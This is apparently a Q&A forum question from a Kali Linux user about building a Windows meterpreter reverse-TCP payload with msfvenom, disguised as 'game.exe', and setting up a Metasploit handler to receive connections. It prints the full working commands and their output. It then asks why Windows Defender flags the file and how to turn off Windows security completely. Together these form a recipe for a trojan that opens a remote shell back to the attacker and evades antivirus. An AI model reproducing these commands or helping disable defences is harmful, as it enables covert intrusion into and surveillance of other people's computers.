I have quite a complex problem on my hands. I recently had the ambition to try out new features of Metasploit (on Kali Linux 2017.1). I have two computers, so I thought this was a perfect environment for experimentation. My "master system" in this instance was HP EliteBook 8760w laptop. Two problems arose:
My primary ambition in both cases was to monitor a distant device through different interfaces. Firstly I tried to achieve my goal by creating a spyware program. Here's my procedure:
root@smerdjakov:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 -f exe > game.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 333 bytes Final size of exe file: 73802 bytes root@smerdjakov:~# msfconsole Metasploit Park, System Security Interface Version 4.0.5, Alpha E msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.0.103 lhost => 192.168.0.103 msf exploit(handler) > set lport 8080 lport => 8080 msf exploit(handler) > exploit -j -z [*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.0.103:8080 [*] Starting the payload handler... msf exploit(handler) >
To this point, all went as intended: I compiled all of the functions, I got the .exe file with a payload. The main idea was to run this program on another computer (with Windows 7/8/10 OS) and the Metasploit prompt would automatically start monitoring the system. However, when I tried to run my game.exe as an administrator on Windows 10, this message popped up:
Operation did not complete successfully because a file contains a virus or potentially unwanted software.
I added a strong layer of encryption so I found it peculiar that my program wouldn't start. On my Kali Linux I opened game.exe with Leafpad. All that I found was:
Is this normal? Firstly, I'd like to know how to turn off Windows security completely, and secondly, if my game.exe file is even functional. I should mention that after 'MZ' there is another glyph that StackExchange interface can't interpret: it looks like a square with two zeros on top and a 9 and 0 at the bottom. Like so:
MZ 0 0 9 0
Your help is much appreciated. Thank you in advance.